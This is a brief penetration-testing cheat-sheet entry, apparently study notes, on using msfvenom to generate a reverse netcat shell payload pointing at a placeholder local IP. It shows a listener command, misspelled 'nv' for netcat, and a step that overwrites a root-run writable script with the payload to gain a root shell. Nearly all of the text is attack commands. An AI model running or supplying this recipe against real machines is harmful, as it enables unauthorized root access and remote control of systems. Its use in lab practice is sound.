Payload generator and encoder. Generates payloads that allow for things such as a reverse netcat connection
If there is a script that can we can write to that runs as root on the target machine:
msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R
nv -lvp 8888
echo <msfvenom output> > script